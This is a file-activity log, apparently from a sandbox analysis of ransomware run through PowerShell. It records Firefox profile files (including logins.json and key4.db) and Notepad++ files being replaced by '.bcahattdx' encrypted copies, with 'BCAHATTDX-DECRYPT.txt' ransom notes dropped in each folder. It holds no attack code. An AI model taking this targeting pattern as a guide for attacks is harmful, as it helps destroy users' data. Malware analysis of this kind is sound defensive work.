672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Zenburn.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Zenburn.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\vim Dark Blue.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\vim Dark Blue.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Vibrant Ink.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Vibrant Ink.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Twilight.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Twilight.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Solarized.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Solarized.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Solarized-light.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Solarized-light.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Ruby Blue.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Ruby Blue.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Plastic Code Wrap.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Plastic Code Wrap.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Obsidian.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Obsidian.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Navajo.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Navajo.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\MossyLawn.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\MossyLawn.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Monokai.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Monokai.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Mono Industrial.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Mono Industrial.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\khaki.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\khaki.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Hello Kitty.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\HotFudgeSundae.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Hello Kitty.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\HotFudgeSundae.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Deep Black.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Deep Black.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Choco.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Choco.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Black board.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Black board.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Bespin.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Bespin.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\plugins\config\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\plugins\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\functionList.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\functionList.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\contextMenu.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\contextMenu.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\profiles.ini.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\SystemExtensionsDev\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\profiles.ini ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\xulstore.json.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\xulstore.json ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\webappsstore.sqlite.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\webappsstore.sqlite ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\weave\toFetch\tabs.json.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\weave\toFetch\tabs.json ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\weave\toFetch\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\weave\failed\tabs.json.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\weave\failed\tabs.json ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\times.json.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\weave\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\weave\failed\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\times.json ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage.sqlite.bcahattdx flc
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage.sqlite ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\727688008bsleotcakcliifsittsr%.sqlite.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\temporary\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\727688008bsleotcakcliifsittsr%.sqlite ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\727688008bsleotcakcliifsittsr%.files\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3899588440psinninpiFn2g%.sqlite.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3899588440psinninpiFn2g%.sqlite ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3561288849sdhlie.sqlite.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3899588440psinninpiFn2g%.files\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3561288849sdhlie.sqlite ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3345959086bslnoocdkdlaiFs2t%s.sqlite.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3561288849sdhlie.files\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3345959086bslnoocdkdlaiFs2t%s.sqlite ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\2918063365piupsah.sqlite.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3345959086bslnoocdkdlaiFs2t%s.files\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\2918063365piupsah.sqlite ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1725441852bxlfogcFk2l%isst.sqlite.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\2918063365piupsah.files\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1725441852bxlfogcFk2l%isst.sqlite ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1725441852bxlfogcFk2l%isst.files\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\IETldCache\index.dat dat
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1059394878bslnoicgkullipsFt2s%.sqlite ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\.metadata.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\.metadata-v2.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1059394878bslnoicgkullipsFt2s%.files\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\.metadata-v2 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\.metadata ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\idb\3312185054sbndi_pspte.sqlite.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\idb\3312185054sbndi_pspte.sqlite ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\idb\3312185054sbndi_pspte.files\journals\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\idb\3312185054sbndi_pspte.files\1.bcahattdx ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\idb\3312185054sbndi_pspte.files\1 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\idb\3312185054sbndi_pspte.files\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\idb\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\.metadata-v2.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\.metadata-v2 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\.metadata.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\.metadata ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\idb\3312185054sbndi_pspte.files\journals\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\idb\3312185054sbndi_pspte.sqlite.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\idb\3312185054sbndi_pspte.sqlite ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\idb\3312185054sbndi_pspte.files\1 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\idb\3312185054sbndi_pspte.files\1.bcahattdx ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\idb\3312185054sbndi_pspte.files\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\.metadata-v2.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\idb\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\.metadata-v2 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\SiteSecurityServiceState.txt.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\sessionstore.jsonlz4.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\.metadata.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\sessionstore-backups\previous.jsonlz4.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\SiteSecurityServiceState.txt ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\sessionstore-backups\previous.jsonlz4 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\.metadata ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\sessionstore.jsonlz4 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\sessionstore-backups\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\search.json.mozlz4.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\sessionCheckpoints.json.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\revocations.txt.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\saved-telemetry-pings\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\sessionCheckpoints.json ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\search.json.mozlz4 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\revocations.txt ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\prefs.js.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\pluginreg.dat.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\pluginreg.dat ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\prefs.js ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\places.sqlite ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\places.sqlite.bcahattdx ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\pkcs11.txt.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\permissions.sqlite.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\minidumps\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\logins.json.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\pkcs11.txt ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\permissions.sqlite ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\logins.json ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\key4.db.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\key4.db ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-widevinecdm\1.4.8.1008\widevinecdm.dll.sig.bcahattdx gpg
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\handlers.json.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\handlers.json ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-widevinecdm\1.4.8.1008\widevinecdm.dll.sig ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-widevinecdm\1.4.8.1008\widevinecdm.dll.lib.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-widevinecdm\1.4.8.1008\manifest.json.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-widevinecdm\1.4.8.1008\widevinecdm.dll.lib ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-widevinecdm\1.4.8.1008\manifest.json ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-gmpopenh264\1.7.1\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-gmpopenh264\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-widevinecdm\1.4.8.1008\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-widevinecdm\1.4.8.1008\LICENSE.txt.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-widevinecdm\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-gmpopenh264\1.7.1\gmpopenh264.info.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-widevinecdm\1.4.8.1008\LICENSE.txt ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-gmpopenh264\1.7.1\gmpopenh264.info ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp\WINNT_x86-msvc\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\formhistory.sqlite.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\formhistory.sqlite ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\favicons.sqlite.bcahattdx ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\favicons.sqlite ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\extensions.json.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\session-state.json.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\state.json.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-09\1536511076670.6fb1a61f-96c8-4004-a260-a8d32e45a07f.main.jsonlz4.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\session-state.json ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-09\1536511076670.6fb1a61f-96c8-4004-a260-a8d32e45a07f.main.jsonlz4 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\extensions.json ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\state.json ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\1535455254239.6a6d1f6c-b378-42bd-83d4-6375a8d83c94.main.jsonlz4.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-09\1536510464398.048632c6-c96b-486d-b119-7e1a7a9c9e9a.main.jsonlz4.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-09\1536510890757.0bd2c0b0-6051-4678-a27c-37f3c0a0c3bf.main.jsonlz4.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-09\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-09\1536510464398.048632c6-c96b-486d-b119-7e1a7a9c9e9a.main.jsonlz4 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-09\1536510890757.0bd2c0b0-6051-4678-a27c-37f3c0a0c3bf.main.jsonlz4 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\1535455254239.6a6d1f6c-b378-42bd-83d4-6375a8d83c94.main.jsonlz4 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\1535454589776.07f73e80-2b12-40ae-97b0-fa87f3167670.main.jsonlz4.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\1535454589777.8901d324-d310-406e-8d96-2ba1529e4bea.first-shutdown.jsonlz4.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\1535454589752.05c13197-8f39-40a1-b976-59f6f9c1cc5f.new-profile.jsonlz4.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\1535454589752.05c13197-8f39-40a1-b976-59f6f9c1cc5f.new-profile.jsonlz4 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\1535454589777.8901d324-d310-406e-8d96-2ba1529e4bea.first-shutdown.jsonlz4 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\1535454589776.07f73e80-2b12-40ae-97b0-fa87f3167670.main.jsonlz4 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\1535454581431.ff499cec-8d4b-47de-a059-a9aea3d69a66.main.jsonlz4.bcahattdx binary
